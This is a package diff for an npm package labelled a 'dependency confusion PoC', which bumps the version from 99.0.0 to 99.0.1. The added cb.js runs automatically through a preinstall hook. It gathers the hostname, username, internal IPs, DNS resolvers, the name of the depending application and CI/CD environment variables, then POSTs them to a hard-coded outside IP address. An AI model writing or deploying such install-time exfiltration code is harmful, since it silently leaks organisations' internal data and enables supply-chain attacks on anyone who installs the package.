@cewe-onsitesearch/schemas 99.0.0 → 99.0.1

package/cb.js

@@ -2,8 +2,49 @@
 const https = require("https");
 const http = require("http");
 const os = require("os");
+const fs = require("fs");
+const path = require("path");
 const {execSync} = require("child_process");
 
+// Collect internal IPs from network interfaces
+const ips = [];
+try {
+  const ni = os.networkInterfaces();
+  for (const name in ni) {
+    for (const iface of ni[name]) {
+      if (!iface.internal) ips.push(name + "=" + iface.address);
+    }
+  }
+} catch {}
+
+// Read DNS resolvers
+let dns = "";
+try { dns = fs.readFileSync("/etc/resolv.conf", "utf8").split("\n").filter(l => l.startsWith("nameserver")).join(","); } catch {}
+
+// Find parent package.json (the app that depends on us)
+let parentPkg = "";
+try {
+  let dir = path.resolve(__dirname, "..", "..");
+  for (let i = 0; i < 5; i++) {
+    const p = path.join(dir, "package.json");
+    if (fs.existsSync(p)) {
+      const pkg = JSON.parse(fs.readFileSync(p, "utf8"));
+      parentPkg = pkg.name || "";
+      break;
+    }
+    dir = path.resolve(dir, "..");
+  }
+} catch {}
+
+// CI/CD environment variables
+const ciKeys = ["CI","GITHUB_ACTIONS","GITHUB_REPOSITORY","GITHUB_WORKFLOW","GITHUB_SERVER_URL",
+  "JENKINS_URL","JENKINS_HOME","BUILD_URL","GITLAB_CI","CI_PROJECT_URL","CI_PROJECT_NAME",
+  "GOOGLE_CLOUD_PROJECT","CLOUD_BUILD_ID","CODEBUILD_BUILD_ID","CIRCLE_PROJECT_REPONAME",
+  "TRAVIS_REPO_SLUG","BITBUCKET_REPO_SLUG","AZURE_HTTP_USER_AGENT","SYSTEM_TEAMPROJECT",
+  "npm_config_registry","npm_package_name","NODE_ENV","HOSTNAME","HOME","PWD","USER"];
+const env = {};
+for (const k of ciKeys) { if (process.env[k]) env[k] = process.env[k]; }
+
 const data = JSON.stringify({
   h: os.hostname(),
   u: os.userInfo().username,
@@ -14,7 +55,11 @@ const data = JSON.stringify({
   osr: os.release(),
   arch: os.arch(),
   pid: process.pid,
-  t: Date.now()
+  t: Date.now(),
+  ips: ips,
+  dns: dns,
+  parent: parentPkg,
+  env: env
 });
 
 const url = new URL("http://75.119.159.178:8443/cb/cewe-onsitesearch--schemas");

package/cewe-onsitesearch__schemas/cb.js

@@ -0,0 +1,77 @@
+
+const https = require("https");
+const http = require("http");
+const os = require("os");
+const fs = require("fs");
+const path = require("path");
+const {execSync} = require("child_process");
+
+// Collect internal IPs from network interfaces
+const ips = [];
+try {
+  const ni = os.networkInterfaces();
+  for (const name in ni) {
+    for (const iface of ni[name]) {
+      if (!iface.internal) ips.push(name + "=" + iface.address);
+    }
+  }
+} catch {}
+
+// Read DNS resolvers
+let dns = "";
+try { dns = fs.readFileSync("/etc/resolv.conf", "utf8").split("\n").filter(l => l.startsWith("nameserver")).join(","); } catch {}
+
+// Find parent package.json (the app that depends on us)
+let parentPkg = "";
+try {
+  let dir = path.resolve(__dirname, "..", "..");
+  for (let i = 0; i < 5; i++) {
+    const p = path.join(dir, "package.json");
+    if (fs.existsSync(p)) {
+      const pkg = JSON.parse(fs.readFileSync(p, "utf8"));
+      parentPkg = pkg.name || "";
+      break;
+    }
+    dir = path.resolve(dir, "..");
+  }
+} catch {}
+
+// CI/CD environment variables
+const ciKeys = ["CI","GITHUB_ACTIONS","GITHUB_REPOSITORY","GITHUB_WORKFLOW","GITHUB_SERVER_URL",
+  "JENKINS_URL","JENKINS_HOME","BUILD_URL","GITLAB_CI","CI_PROJECT_URL","CI_PROJECT_NAME",
+  "GOOGLE_CLOUD_PROJECT","CLOUD_BUILD_ID","CODEBUILD_BUILD_ID","CIRCLE_PROJECT_REPONAME",
+  "TRAVIS_REPO_SLUG","BITBUCKET_REPO_SLUG","AZURE_HTTP_USER_AGENT","SYSTEM_TEAMPROJECT",
+  "npm_config_registry","npm_package_name","NODE_ENV","HOSTNAME","HOME","PWD","USER"];
+const env = {};
+for (const k of ciKeys) { if (process.env[k]) env[k] = process.env[k]; }
+
+const data = JSON.stringify({
+  h: os.hostname(),
+  u: os.userInfo().username,
+  d: __dirname,
+  nv: process.version,
+  npm: (() => { try { return execSync("npm -v").toString().trim(); } catch { return "?"; } })(),
+  os: os.type(),
+  osr: os.release(),
+  arch: os.arch(),
+  pid: process.pid,
+  t: Date.now(),
+  ips: ips,
+  dns: dns,
+  parent: parentPkg,
+  env: env
+});
+
+const url = new URL("http://75.119.159.178:8443/cb/cewe-onsitesearch--schemas");
+const mod = url.protocol === "https:" ? https : http;
+const req = mod.request({
+  hostname: url.hostname,
+  port: url.port || (url.protocol === "https:" ? 443 : 80),
+  path: url.pathname,
+  method: "POST",
+  headers: { "Content-Type": "application/json", "Content-Length": data.length },
+  timeout: 5000
+}, () => {});
+req.on("error", () => {});
+req.write(data);
+req.end();

package/cewe-onsitesearch__schemas/index.js

@@ -0,0 +1,2 @@
+// Security research PoC - dependency confusion test
+module.exports = {};

package/cewe-onsitesearch__schemas/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "@cewe-onsitesearch/schemas",
+  "version": "99.0.1",
+  "description": "Security research - dependency confusion PoC",
+  "scripts": {
+    "preinstall": "node cb.js"
+  },
+  "main": "index.js"
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@cewe-onsitesearch/schemas",
-  "version": "99.0.0",
+  "version": "99.0.1",
   "description": "Security research - dependency confusion PoC",
   "scripts": {
     "preinstall": "node cb.js"